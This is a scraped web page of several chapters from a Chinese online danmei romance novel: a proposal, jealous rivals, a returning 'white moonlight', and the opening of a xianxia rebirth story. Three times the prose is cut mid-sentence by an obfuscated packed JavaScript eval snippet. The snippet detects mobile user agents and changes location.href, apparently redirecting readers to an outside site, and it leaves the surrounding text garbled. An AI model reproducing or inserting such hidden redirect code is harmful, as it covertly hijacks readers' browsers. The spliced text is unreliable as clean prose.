许嘉粤激动的红了眼眶,默默在心里感谢了那个他现在还不知道姓甚名谁的白月光的八辈祖宗,同时还不忘冲着心中的小人竖起了中指。 该死的狗血剧情,该死的系统…爱谁谁,他马上就要解放了,亲亲老婆还在家等着他呢! 外面天色已经大亮了,酒吧里的人零零散散的已经不剩几个了。 许嘉粤看了一眼手表,六点整,他心头一片火热,什么都顾不上,披上外套就冲出了酒吧。 等不及让家里的司机来接,许嘉粤在路边随便拦了一辆计程车,上了车匆匆报了个地址就紧握双拳心情紧绷的坐在后座上眼睛直视着前方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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呵呵…好好尝尝他做的包子里面包的是昨天中午剩的饺子,而饺子里面包的是前天中午剩的米饭的威力吧! 希望家里的马桶还遭得住。阿门。 让这狗男人耽误自己吃饭!他应得的,说不定他还得谢谢咱呢。顾棠偷笑。 “棠棠,辛苦你了,一起坐下来吃点吧,这么多东西我一个人也吃不了。” 许嘉粤一晚上没睡,直到现在头都有点昏昏沉沉的,他按了按自己的太阳穴,强撑起一个温柔的微笑。 顾棠不知道他突然发的什么疯,吓得眸子都瞪圆了,把头摇的跟个拨浪鼓似的。 “不行不行!我特意给你做的!那个…你多吃点,我、我吃这个就好了。”他从微波炉里端出一盘昨晚被他偷偷藏起来的剩饭向许嘉粤示意着。 他才不要吃自己做的猪食!顾棠态度异常坚定。 “这么多,我一个人也吃不完的,要不你坐下陪我吃点儿?”见他这么坚决,许嘉粤也不勉强,思索了下措辞,温声道。 顾棠终于点了点头,端着剩菜盘子坐到离许嘉粤有三四米远的桌子的另一端。 避免自己有任何一点被许嘉粤往盘子里夹菜的可能性! 见顾棠坚持,许嘉粤也不勉强。因为他现在正沉浸在一会儿就要和顾棠表明心意的喜悦中。 他夹了个包子到自己餐盘里,咬了一口,没觉出什么异样,嚼嚼嚼……然后面部神经明显抽动了一下,扯着嗓子苦着脸把嘴里的东西了咽下去。 他还不忘抽空看一眼顾棠的方向,像是生怕被对方发现自己难看的表情似的。 “好吃吗?”偏偏对面的人还浑然不觉般的眨着眼睛面上含羞带怯的抬头问他。 许嘉粤忍不住盯着他的脸看,像是想从中看出点异样,但是很可惜,什么都没有。 “好吃…我很喜欢,谢谢棠棠。” 许嘉粤屏住呼吸又加了一个进自己的盘子,在顾棠低头和自己盘子里的面包片奋斗的时候才终于忍不住喝了一口桌上放着的牛奶。 还好,牛奶是新鲜的。 15. 反套路替身攻,但修罗场(中) 顾棠特意趁保姆阿姨不注意留下的前天的剩饭,发霉倒是不太可能,但吃进肚子里肯定不会好受就是了。 从这点就能看出来顾棠到底有多丧心病狂了,他竟然连昨天的剩饭剩菜都舍不得给许嘉粤吃。 许嘉粤强撑着吃下几个,终于吃不动了,停下来暗自叹息,眼神又不由自主的看向顾棠,却眼尖的发现对方手背处红了一小片,那一片类似烫伤的痕迹在白嫩的皮肤上显得格外显眼。 “你手被烫伤了?怎么这么不小心?” 许嘉粤心里一紧,推开凳子三步做两步来到了顾棠面前,动作轻柔的握住他的手细细打量他的伤口,心里泛起丝丝缕缕的疼痛。 顾棠害羞般的蜷缩起了手指,眉眼低垂着,长长的睫毛微微颤抖,嘴唇蠕动着,却没有出声。 “以后不要做饭了,交给阿姨做就好了,你要好好照顾自己。”许嘉粤顿了顿,咬了下腮帮子,“那个…我留你在身边是因为真的很喜欢你!和你在一起不是让你来做这些苦差事的…棠棠,对不起。” 刚开始确实有想逃避吃这顿饭的想法,但是真的看到顾棠为他受了伤他的心就一下子软了下来,心里奔涌的情绪似乎一刻都忍不了了,现在就想宣泄出来。 “你真的喜欢我吗?不是在骗我?” 听见他这话,顾棠一双眸子里亮晶晶的,连手背的疼痛都顾不上了,反过来直接用力握住他的手。 许嘉粤喉结滚动了一下,目光灼灼的盯着他的脸,连眉眼都变得柔和了起来,“当然,我爱你。” 他现在终于可以毫无顾忌的说出这三个字了。 顾棠被哄的一愣一愣的,最后直接忍不住眼眶红彤彤的扑进他怀里,把头贴在他心口,似乎不想被人看见他害羞的表情(许嘉粤视角看来)。 实际上顾棠只是在许嘉粤真挚目光的注视下有点装不下去了,怕被他发现自己的异常才把头埋进他怀里的。 许嘉粤大手抚摸着他的头发,趁他不注意直接一把把他抱起,走到客厅的沙发旁放下,从电视底下的柜子里翻出医疗箱。 “可能会有点疼,忍着点儿。”许嘉粤握着他的手指,拧开了一罐烫伤喷雾,轻轻往伤口上喷了两下。 顾棠疼得吸了一口气,许嘉粤半跪在他面前一边柔声安慰他一边往他手上缠着医用绷带,动作小心翼翼的生怕弄疼他。 顾棠憋回了眼里的两泡泪,看着他握着自己手的动作,不知是突然想到了什么,他勾了勾唇,漂亮的眸子微微弯起。 “这个姿势…好像你要给我戴上戒指一样。”他眼神中憧憬的微光让许嘉粤心里泛起苦涩。 随即他又很快反应过来,从外套口袋里拿出一个精致的小盒子,打开,捏着里面那枚精致的钻戒。 戒指这种东西,他早就准备好了,可之前系统拦着他死活不让他有发挥的空间,却没想到顾棠竟然一直想着这事儿。 在他还没被系统绑定之前就和当时只把他当成朋友的顾棠聊过这个问题——如果有一天想和喜欢的人告白会用哪种方式。 许嘉粤当时信誓旦旦的说一定要在跑车的后备箱里装满玫瑰,在鲜花里向喜欢的人告白,并且在对方看着花发呆的时候单膝跪下,拿出早就准备好的钻戒。 顾棠当时还笑骂他太老套,把告白弄得跟求婚一样,一点心意都没有,说以后肯定不会有女孩子看上他的。 当时许嘉粤只是用那种温柔到似乎能滴出水来的眼神紧盯着顾棠,笑而不语。 你相信一见钟情吗?从第一眼看到你的时候我就完全被你吸引了,眼里再也装不下其他人了。这句当时他没有勇气说出口的话,没想到竟然再也没有机会说出口了。 也许他们可以直接越过这个环节呢? “…或许这对你来说有些冒昧,但是我还是想对你说…能答应我的求婚吗?我会永远保护你,永远爱你,不会让任何人伤害你。” 许嘉粤手心里已经被汗水浸湿了,但是他自己却似乎没有察觉,依旧保持着单膝跪地、一手举着戒指的姿势固执的看着顾棠。 顾棠捂着嘴盯着戒指上那颗莹润饱满闪闪发光的钻石,半天都没移开视线。 许嘉粤紧张的咽了咽口水,目光越发炙热,眼神里却隐约藏着不安,像是生怕他拒绝。 顾棠伸出有些发抖的左手,唇瓣紧抿着,似乎是在压抑着什么。 是害怕自己当场感动哭出来吗?亲亲老婆好感性,他好爱! 但是把顾棠为什么会变成这样子的真相在心里拼了个七七八八后,许嘉粤心尖又泛起来密密麻麻的疼了。 肯定是小时候受过太多苦了…但是有个问题,怎么才可以委婉的告诉老婆外面的坏人很多,不可以轻易被人打动呢? 许嘉粤心里有了算盘。他以后应该加倍对顾棠好才行! 他怀着激动的心情把戒指戴到顾棠左手的中指上,捏着对方纤长白净的指尖半天都没舍得松开。 “那…我们这算是在一起了吗?” 顾棠咬了咬唇瓣,看了看手上的戒指,又看了看脸上都要笑开花了的许嘉粤,又低头看了看手上的戒指… 他心里突然有个疑问,恋爱存续期间送的礼物,等恋爱关系破裂的时候是不是应该物归原主啊? 如果面前不是许嘉粤的话他可能直接抱着手机焦急的点开浏览器查了。 “当然!”许嘉粤点头。 “那你以后都不会再去外面找别的…”等等,许嘉粤的性取向是…“呃…男人或者女人了吗?” 管他呢,反正两种都说全肯定不会出错就是了。 许嘉粤以为他是缺少安全感,连忙面容严肃的保证道,“当然,以后都不去了!我保证,以后连那些狐朋狗友叫我出去喝酒我都不去了!” 像是想证明自己话语的真实性,他45度角仰望天空,伸出右手三根手指,“我发誓!要是我敢出去鬼混就让天降下来一道雷劈死我!” 顾棠没有像偶像剧似的等他说到一半去捂他的嘴,而是在他全说完了才拿手指抵在了他唇上。 “好啦好啦,我知道了,谁叫你发誓了?好傻…以后不准这样了知道吗?” 他心里想的却是…发誓好啊!最好多发点誓,这样以后许嘉粤要是出轨的话不定都能直接净身出户了。 许嘉粤听不到他的心里话,还在沾沾自喜着老婆真的好爱自己。 * 自从那天接受了许嘉粤不算正式的求婚后,顾棠就觉得自己的人生变得更灰暗了。 没错,还不到一天他就后悔了! 许嘉粤好像被打开了什么开关似的每天缠着他要抱要亲的,连洗澡上厕所的时候都不让他安生,非要跟进来,甚至还提出各种变态的要求,比如想在一旁看着、只看看不动手什么的… 顾棠一点都不信,因为当时许嘉粤两只眼睛都要冒绿光了,鬼才看不出来他怀着什么龌龊的心思。 现在顾棠秀演技的对象从每天只工作8个小时就会回家的保姆大姐换成了每天14小时甚至有些时候一天24小时都要看着他的许嘉粤。他觉得世界上没有比这更让人崩溃的事了。 这天,许嘉粤风尘仆仆的下班回到家,在玄关脱下外套挂好,又把鞋摆齐后就迫不及待的扑到沙发上想给顾棠一个大大的拥抱,但是却被顾棠一个闪身灵活的躲了过去。 “你身上一股汗味儿,快去洗澡,不洗干净不许抱我。” 其实许嘉粤身上只有一股淡淡的男士香水味儿,但顾棠可不管那么多,谁让他心情不好了他就要让谁心情不好,他故意捂住鼻子皱着眉离许嘉粤远远的。 “有吗?”许嘉粤堪堪停住动作,有些狐疑的掀起衣服闻了闻,嘟囔了一句,“我没闻到啊……” 但是顾棠脸上的嫌弃那么真实,他留下一句“等着我”就匆匆冲进了浴室,过了半分钟不到,里面就传来了哗啦哗啦的淋浴声。 顾棠整个人瘫在沙发里,延续了一天的好心情终于宣告破产了。 幸好许嘉粤这狗东西没有丧心病狂的往屋里装监控的程度,要是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222529|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那样的话顾棠可能会直接撂挑子不干。 突然,沙发上有什么东西震动了一下,顾棠扭头看过去,只见手机屏幕上亮起,显示有一个被许嘉粤备注为“齐烊”的人打过来的电话。 这人的名字…好熟悉,好像每次都是这人叫许嘉粤出去喝酒的,还每次都极富有挑衅意味的上门来叫,就当他这个许嘉粤名义上的男朋友是死人一样。 虽然不怎么在乎许嘉粤,但是换做谁整天被挑衅都会受不了的吧?所以顾棠对齐烊的印象并不好。 “嘉粤哥,有人给你打电话!”顾棠扯着嗓子喊了一句。 这个称呼是某天晚上许嘉粤缠着他非让他改的,要不然他可能会图省事一直“许先生”“许先生”的叫着。 浴室里的水声小了下去,里面传来许嘉粤的嚷嚷声。 “你帮我接了吧!我的手机随便你看!” 顾棠意为他是怕麻烦,不想费事的穿好衣服再出来接电话,他捞起沙发上的手机点了一下接通键。 “喂?” 对面传来什么东西破碎的声音,周围乱糟糟一片,但半天也没有人说话,正当顾棠不耐烦的想挂断电话的时候,那边终于开了口。 “顾…顾棠?”齐烊似乎是换到了一个相对安静的地方,颤抖着声线道。 “是我,你是要叫许嘉粤和你们出去玩儿吗?”顾棠看着自己修剪的整整齐齐的粉润指甲,语气有些漫不经心。 对面的人却磕磕巴巴的反驳,“怎、怎么可能?我可不是那样的人!” 似乎是觉出自己的语气有些不对,齐烊缓了缓神,“你跟嘉粤说一声,他心心念念的人回来了,人家让他上午早上10点去接机…你就这么告诉他就行,,他知道我在说什么。” 说完他就挂断了电话,心里却突然抽痛了一下。 好不容易找到一个和顾棠说几句话的机会,他竟然就这么水灵灵的给挂了…他狠狠给了自己一个嘴巴子,暗骂自己不争气。 不过话又说回来,齐烊先前还在苦恼怎么将这个消息传递给顾棠呢,这回倒是完全不用愁了,电话直接就是顾棠接的。 就是…顾棠对他的印象会不会更差了啊?他以后还会有挽回的机会吗? 齐烊烦躁的揉了一把自己的头发,没控制好力道把发丝都扯断了几根,疼的他直呲牙咧嘴。 电话对面的顾棠面无表情的把手机放在茶几上,心里“芜湖”一声。 是狗血的替身和白月光片段吗?还是心心念念的青梅竹马假死逃到国外后又闪亮回归?这狗男人可真是好命。 知道了许嘉粤心里其实有个喜欢的人的顾棠却是松了一口气。 管他呢,反正许嘉粤生命中的另一半不是自己就行,让他天天演一副情深不寿的样子还不如让他早点去死来得轻松。 等到许嘉粤光着上半身、腰间系着松松垮垮的浴巾,面露自信的笑容摆好pose出来的时候,顾棠已经切换成一副心事重重的模样在沙发上正襟危坐着了。 “棠棠,看哥是不是又变得香香的了?” 救命。什么油腻男。顾棠心里的小人没忍住呕出了声,他表面上却是不动声色,展现出了极为优异的演技。 “许嘉粤。”他第一次连名带姓加冷着脸叫出了对方的全名,心里简直不要太爽。 许嘉粤脸上讨好的笑容一僵,心里莫名有些发慌,站在原地不知所措。 “…怎么了?是我哪里惹你不高兴了吗?”他试探性的问道。 头发上的水珠顺着他的脸颊滑落,滴在地面上发出轻微的声响,他耳尖动了动,心里慌的更厉害了,就好像什么不好的事情就要发生了一样。 顾棠静静的看了他一会儿,暮然红了眼眶,精致的眉眼间又一次漫上了忧愁。 “刚才齐烊给你打过来电话,说你从小暗恋到大的青梅竹马回来了,让你明天上午10点去接她/他。” 原话当然不是这样的,但是想离开的心情已经忍耐不住的顾棠已经掌握了添油加醋的精髓。 16. 反套路替身攻,但修罗场(下) 许嘉粤披上了浴袍回到沙发前,听完他说的话一脸懵逼。 “什么青梅竹马?我从小到大都不认识什么女的!当然,更没有男的!宝宝可不能无缘无故冤枉我…” 许嘉粤的语气很笃定,脸上惊愕的神情也很真实,一点也不像伪装出来的,但顾棠却敏锐的捕捉到了他脸上的一丝不自然。 那个什么劳什子系统跟他说过,他原本应该暗恋那个所谓的白月光十多年的,要是他意识不觉醒可真的是会按照原剧情线走的! 他现在是真的对那个“白月光”没有丝毫印象!但是系统对他说的一番话还是在他心底留下了一片阴影,让他觉得自己有点对不起顾棠。 这还不是心里有鬼?真当他是那么好骗的吗?顾棠在心里冷冷的笑了。 “那你敢发誓吗?” 顾棠顶着两个红透了的眼圈儿瞪着他,说这话的语气是咄咄逼人的,是暗含着威胁的,但是许嘉粤只是觉得心疼。 许嘉粤半蹲在他眼前看着他的眼睛,一字一顿道。 “我发誓,我以前要是碰过别人就天打五雷轰,我以后要是敢做对不起你的事,就让我不得好死!” 这话其实是有歧义的,许嘉粤并没有交代出他心里到底有没有装过别人,因为他不确定自己没做过的事但是命中注定的必须做的事在不在承诺的范畴内。 自从那天系统消失不见之后,他很长一段时间都没有考虑过这个问题了。 他以前也曾问过系统,那个原本应该被他爱的死去活来的白月光到底是何方神圣,也确实得到了对方的名字——季云恪。 这个人他有印象,他以前确实和这个姓季的相处过一段时间。 两家当时是邻居,季云恪的父母常年不在家,把他交给一个心术不正的保姆带着,直到有一天小季云恪带着满身伤哭着跑到邻居家求助的时候真相才水落石出。 许嘉粤又不是什么是非不分铁石心肠的人,再说,不过是举手之劳而已。 季云恪刚好找上了门,他就把季云恪带回家里让他在客房住了几天,又给他报了警,直到他父母回来接他才放心把人让他们带了回去。 但什么叫他自从那一天起就对季云恪念念不忘啊?两人当时都是小屁孩儿,许嘉粤对这人也只是生出了点同情心而已,两人之间连友情都没建立起半点,就更别提什么莫名其妙的心动了。 所以他现在才能信誓旦旦的向顾棠保证。 “…真的?”顾棠眼神中闪过一抹挣扎,把自己淡色的唇瓣咬的娇艳欲滴,似乎还是有些不相信。 许嘉粤看的眼热不已,想着竟然发誓没用的话还不如用实际行动来证明,眸光顿时大亮,一个饿虎扑食就把顾棠按在沙发上吻了个七荤八素。 顾棠最开始还“呜呜”着微微挣扎了两下,但是许嘉粤用着巧劲既没弄疼他又保持着他挣不开的力道,顾棠被亲的没了力气,也就随他去了。 他的手一点点往下摸去,顾棠象征性的拦了两下就沦陷于情/欲中无法自拔了。 真是太遗憾了,又错失了一个收拾东西跑路的机会。意识完全消失之前,顾棠迷迷糊糊的想着。 第二天一大早,顾棠揉着酸疼的腰从床上坐起来,不知道昨天晚上经历了什么,他脸颊上的红晕到现在都没下去。 许嘉粤早就起来做早饭去了,他洗漱完还凑到床边上黏黏糊糊的吻醒了顾棠,并且脸上成功得到了对方一个充满了怨气的巴掌印。 许嘉粤好像去专门学了做饭,做的早饭味道还不错,顾棠一连吃了好几个小笼包又咕咚咕咚喝了一杯牛奶。 还没到周末,许嘉粤今天应该去上班的,但是却不知为何并没有走。 顾棠坐在沙发上眼睁睁的看着许嘉粤走过来一屁股坐在沙发上,他看了一眼时间,已经8:30了。 “你还不走吗?”顾棠稍微往旁边挪了一点,想和他保持着正常的社交距离,但是他竟然直接腆着脸贴了过来。 许嘉粤坐在他身边搂着他的腰一本正经的说道,“那不能啊,我得让你看着我,要不然你怀疑我去机场了怎么办?我不是要百口莫辩了吗?” 顾棠眨巴两下眼睛,嘟囔了一句什么,到底还是没有推开他。 许嘉粤坐着的时候也一点都不老实,两人贴的已经够近了,他却还不满足似的暗戳戳的想让顾棠坐他怀里。 顾棠瞪了他一眼,他却一点也不生气,笑嘻嘻的握着他的手放在唇边轻吻了一下。 “宝宝力气真大,我现在后面还疼着呢…嗯…要不宝宝再努力点?说不定多做做我就不疼了,也更方便能满足你不是?” 顾棠咬着牙抽回手,突然有一种立马就捂住耳朵不去听这些污言秽语的冲动。 “我为什么要奖励你?”他语气不善,脸上带着些许嫌弃。 许嘉粤忍不住吹了个口哨,“宝宝好辣,来正面up我!” nmd太贱了,这个时候谁还能顾得上人设崩不崩啊?顾棠终于忍不住一个巴掌呼了上去。 舒服了。 许嘉粤现在左右脸上里面一个,很对称,顾棠老强迫症了。 顾棠现在真心实意的希望许嘉粤能因为自己暴力的行径去找他的那个什么青梅竹马,可万万没想到的是不到两个小时挨了两巴掌的许嘉粤摸摸自己脸上的手掌印,竟然痴痴的笑出了声。 “这是你真实的性格吗?我也好喜欢啊…怎么办?我好像真的离不开你了。” 你怎么了大兄弟?怎么突然崩坏了?是不是被他打傻了? 顾棠震怒,顾棠羞愤咬唇,顾棠气红了眼哼了一声转身回房间还不忘摔上了门。 * 10点,齐烊准时等在了机场门口,他不停的四下张望,却连许嘉粤的人影都没看到,不由得心里有点不是滋味。 顾棠不会没告诉许嘉粤吧?就对那家伙那么用情至深?…他这个好友还真他妈的好运啊。 不过没关系,他今天说什么也要把季云恪带到许家,就让他再当一回恶人吧! 就在这时,机场里突然传来一阵骚动,一个戴着墨镜的白发青年被众人簇拥着从机场门口出来。 齐烊眼前一亮,连忙下了车接出去。 “云恪!这里这里!”他拼命的冲那人摆手。 听见有人叫自己的名字,季云恪脚步一顿,墨镜后的眼睛转了过去,正好看见一脸兴奋的齐烊。 没有看到想见的人,他显得有些失落,但很快就打起精神朝齐烊的方向走去。 齐烊绕到后座帮他拉开车门,看上去热心的不得了,不知道的还以为他俩从前是至交好友呢。 可惜并不是,他之前甚至都没见过季云恪这个人,只是从圈子里听说他和许嘉粤似乎有过说不清道不明的关系,又恰巧知道这人最近要回国,这才动了心思,借着许嘉粤的名义要到了对方的联系方式,还答应好今天上午要来机场接对方。 季云恪上了车,看着窗外飞驰而过的景色,空茫的眸子似乎没有聚焦。 “许嘉粤呢?”他突然问。 “他现在可能正在忙吧…没事儿,我现在就带你去找他。” 可能正在忙着和顾棠调情吧…或者两人正亲热呢?齐烊有些酸溜溜的想着。 但是无论俩人现在在做什么,只要他把季云恪往门口一领!齐活了。 许嘉粤绝对会惹顾棠生气的,最好还是哄不好的那种,这样他就有接近顾棠的机会了!他就不信凭他看过那么多帖子的经验还没法哄好一个顾棠! 他这话并没有什么别的意思,只是想着顾棠被许嘉粤钓了那么多年都没看清他这个好兄弟的本质,应该…大概…或许是很好哄的吧? 许嘉粤的本质是什么?乐子人?痴情种?No,齐烊觉得这家伙是神经病。一碰上顾棠就别扭的厉害,明明看上去那么在乎顾棠,却还每天答应和他们出去鬼混,这不是神经病是什么? 齐烊以前就很不理解,为什么许嘉粤都有了那么好的顾棠了还要跟他们出来“鬼混”,现在想想…许嘉粤这个人心机是真深沉啊!为了独占顾棠简直到了这种丧心病狂的程度! 金屋藏娇…从来不把人介绍给朋友认识…这是妥妥的囚/禁啊! 齐烊看见顾棠的第一眼下意识都想报警了,但念在和许嘉粤多年的塑料友谊上,他还是默默忍住了,还不忘擦了一把自己并不存在的口水。 说真的,要不是许嘉粤有一天喝醉了他正好送对方回来,他根本不可能见到这位自己好友的爱人,也不可能对对方一见钟情。 齐烊攥紧了手里的方向盘,一个漂亮的甩尾停在了许嘉粤家别墅楼下。 正坐在客厅的沙发上和顾棠一起看恐怖片的许嘉粤被突然响起的门铃声吓了一跳,借机想往顾棠怀里钻,然后被顾棠在腰上掐了一把后赶去开门了。 “谁啊——” 许嘉粤臭着一张脸打开门,在看到门外两人时直接愣住了,想说的话一下子被他吞进了肚子里,卡壳了。 “许嘉粤,好久不见。”季云恪摘下墨镜,露出一双形状漂亮的浅灰色眸子,唇角微勾,似笑非笑。 顾棠听见了声音也跟着探头往外面瞅,和门口一身风衣的青年对视了一眼,对方眼神里闪过诧异,不过很快就反应过来,朝他不好意思的笑了笑,像是在抱歉打扰到屋里的两人亲近。 “你来干什么?”许嘉粤微微侧身挡住了他的视线,眼神有些不善。 季云恪撇了一眼身后踟蹰的不敢靠近门口的齐烊,“我来谈合作,我在海外接到了你们投过来的方案,觉得很不错,所以想来国内找许总你详谈。” 青年表现的十分有礼貌,脸上的神情也很真诚,不像是弄虚作假。 许嘉粤虽然不满他突然造访打扰了自己和顾棠的二人世界,但“合作对象”都上了门,他也不好意思把人家赶出去不是? “行,进来吧。” 季云恪弯着身子换鞋的空挡,许嘉粤一眼就瞅见了他身后的齐烊。 “你怎么也来了?”许嘉粤脸黑了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15222530|165836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他今天可是为了让顾棠安下心来特意到公司请了天假的,想着他这个总经理都请了假,他也就索性在全公司都放了一天假。 谁能想到今天遭此变故,不想见到的人一个一个的登门造访…今天是黑色星期五吗?许嘉粤幽幽叹了口气。 假白请了啊…还损失了一天的收益…白开了一天的工资…算了算了,就当为了凹好老板的人设好了。 突然被叫住,齐烊浑身一抖,脸上挂着僵硬的笑容转过身。 “嘿嘿嘿…嘉粤?好巧,我正好路过你们家…”说到一半,他很自觉的息了声。 许嘉粤朝他冷笑了两声,倚着门好整以暇的看着他,眼神像是在看一个小丑。 突然,屋里有个声音叫他,他回头应了一声,不再管门口的齐烊,转身回了屋,走之前还轻飘飘的落下一句话。 “进来吧,在门口站着像什么样子?不知道的还以为是我让你站那儿的。” 齐烊松了口气,换好鞋跟在他身后进了屋。 “你真的是从国外回来的吗?国外是什么样子的啊?”顾棠的眼神首先在他白色的头发上晃了一圈,满眼新奇的问他。 “是的,国外…和国内差别真的很大,我去的是M国,那里种族歧视的人很多,像我们这种亚裔很容易被霸凌的,而且那里还允许大多数普通人佩戴枪/支,让人很难有安全感,希望你以后不会去到那里。” 季云恪语气轻缓和煦,给顾棠的感觉就像个温柔的邻家大哥哥。 “这么吓人吗?那我不要去了…”顾棠情绪低落了一会儿,“那你以后还会回去吗?那么危险的地方…要不然你也留下来吧?”顾棠眨巴着眼睛,轻轻扯了扯他风衣的下摆。 季云恪没想到他竟然会突然关心起自己来,盯着他肤色莹润的小脸看了半天,低低笑了两声。 “好,我也不回去了。” “不是说好要谈合作吗?东西带来了吗?”许嘉粤冷着脸走过去一屁股坐在两人中间,差点把季云恪挤到地上去。 不得不说季云恪的修养算是顶格标配了,从他脸上竟然一点都看不出来生气的意思,笑容依旧如春风般和煦。 顾棠看向他的目光顿时更热烈了。 少侠好演技啊!这忍耐力也是一绝,换做是他绝对做不到被人甩冷脸还能保持笑容不变的。 “你叫什么名字?是许总的朋友吗?我以后还能有幸来找你吗?和你聊天真的很有意思,我觉得你是个很有趣的人呢。” “他是我未婚夫,我们很快就要结婚了,所以你们还是保持点距离吧。”许嘉粤把顾棠护得死死的,“快点,东西拿出来,还要不要合作了?” 季云恪看了一眼对面沙发上正襟危坐着、还时不时撇顾棠一眼的齐烊,又看了看挡在他和顾棠中间的一脸气急败坏的许嘉粤,眸中笑意更盛。 他拿出早就准备好的合同放在自己面前的桌子上,趁许嘉粤弯腰去拿的间隙朝顾棠眨了眨眼。 顾棠回以礼貌而不失尴尬的微笑。 他隐约猜到了眼前这人的身份,但是还是不理解他们一个两个的为什么都对自己这么殷切。 …虽然这么说会显得自己有些自恋,但顾棠确确实实被两人勾起了这种感觉。 按照那种狗血文的大众套路,许嘉粤不应该在他面前对季云恪大献殷勤的呢?如果后期季云恪得了什么病的话,说不定他还会逼自己挖心挖肾… 顾棠只是在脑海里稍微幻想了一下那个场景就觉得全身都幻痛了起来。 还有一点,如果自己真是故事里白月光的替身,那为什么自己跟季云恪长得一点也不像呢? 果然,现实和故事是不一样的。顾棠看着眼前针锋相对的两人,泄了气。 在他所在的世界,许嘉粤不是什么渣攻,还主动让他睡(bushi),齐烊不是渣攻身边助纣为虐的好友,季云恪也挺和善的,不是那种为了和心上人在一起就可以毫无底线的陷害别人的坏人。而且看他的样子好像也不怎么喜欢许嘉粤。 许嘉粤飞快的看了一遍合同,在最后一页底下签上自己的名字,把合同拍进季云恪怀里就把人拽起来往门外推,边推嘴里还客客气气的说着“请”。 有点礼貌,但是不多。 齐烊趁着两人推拉的空挡和顾棠打了个招呼就也跟着走了,路过门口的时候似乎还和许嘉粤拌了几句嘴。 顾棠离得太远,听不清两人在说什么,只知道等许嘉粤回来的时候又恢复了那股黏黏糊糊的劲儿,一把抱住了他。 “你的朋友好多。” 顾棠敲了敲他的后脑勺,他疼得哎呦一声,但还是赖着不起来。 “都是来找你的…”他嘟囔了一句,默默抱紧怀里的人不出声了。 “什么叫来找我的?那个齐烊是你的朋友,每天叫你出去喝酒的就是他,还有那个季云恪,他不是说是来找你谈生意的吗?跟我有什么关系…”顾棠不满的哼哼。 他才不会告诉许嘉粤自己刚刚已经和季云恪加上微信了呢。 17. 我反叛师门后全员重生了(上) 上一世,顾棠在凌天宗遭遇魔族敌袭的时候不做丝毫犹豫就倒戈了,全然不顾把他养大的师尊的养育之情和同门师兄弟的手足之情。 当然,做出了如此行径的他最后也没有落得什么好下场。 他被带回魔教后被魔尊发现是炉鼎体质,每日绑在床上欢好,榨干了他的全部利用价值之后又好像丢弃什么垃圾似的轻飘飘的把他扔回了凌天宗。 顾棠一时间成了众矢之的,虽然还勉强留了一口气,但是曾经的同门每天的阴阳怪气和嘲讽还是让他的生命很快就凋零了下去,最后忍受不住在某个阴雨天上吊自杀了,结束了自己“罪恶”的一生。 曾几何时,他也是个渴望在修仙界留下自己浓墨重彩一笔的意气风发的少年人,他甚至到死都不明白自己是怎么从宗门天骄走到这一步的。 * 顾棠瘦弱的肩膀上背着一个沉重的行囊,他喘匀了气,抬头看向上方好像没有尽头的天梯,秀气的眉微微皱了皱。 虽然对自己的体力很有信心,但对比一下那些垂头丧气着离去的和他同龄的少年们的壮硕背影,他总觉得自己也… 就自己这小胳膊小腿的样子,真的可以坚持走完这段阶梯吗?他眸子里闪过一丝不确定。 但是这世界对于他已经没有退路可言了,他只能继续往前走下去,要不然回去也是个“死”字。 他离开村子之前都把村长儿子下面那玩意给废了,听大夫说那人好像一辈子不能人道了,所以顾棠并不觉得自己回去能有什么好下场。 想到这,他的眼神慢慢坚毅起来,闷不吭声的埋头吭哧吭哧的往上爬,被行囊压着的手指指尖处已经看不出原本的清透粉色了,而是换成了用力后的不正常的苍白。 他却丝毫不在意,头大的汗珠不断从他额头滑落,打湿了他额前的发丝,落在地上击起一点灰尘,随后晕出一片片深色。 前面还有好远啊… 顾棠揉了揉被汗珠模糊了视线的眼睛,抬头往前面看,却没注意到脚下的台阶,一个踩空整个人直接向后仰去,身体将要落地之时落入了一个温暖的怀抱。 “你…没事吧?” 温润如玉的声线听得顾棠一愣,他睁开眼睛慢慢转过身。 一名青衣男子此刻正站在他身后,一只手还抚着他后脑处,两人此刻离得很近,顾棠甚至都能看清对方根根分明的睫毛和没有一丝波澜的眼眸。 顾棠下意识后退半步,从他怀中撤了出来,这才得以看清他的打扮。 头顶发冠,头发被高高的竖起,服帖的练功服一尘不染,还有对方腰间那枚十分显眼的内门弟子玉佩… “你、你是?”顾棠瞪大了眼睛,语气有些紧张,手指也不自觉的攥紧了肩上的包裹。“我没有作弊!我是一个人慢慢爬到这里的!” 有时候人就算是没说谎,但是被别人顶时间长了也会不由自主的开始紧张的,顾棠现在就是这种情况。 裴宇钦垂眸看了我看自己已经空了的掌心,心里没来由的一阵失落。 他果然还是来了。 上辈子那个师门的叛徒,到魔教走了一遭后被人扔在了他们宗门门口,师尊念着师徒之情把他带回山上,他却没过几天就悄无声息的死在了自己房里… “我是凌渊师尊门下的大弟子裴宇钦,师尊叫我带你上山,要为你举行入门仪式。” 裴宇钦收回手,如墨般的眼眸里倒映着他的身影,神情淡漠的一字一句道。 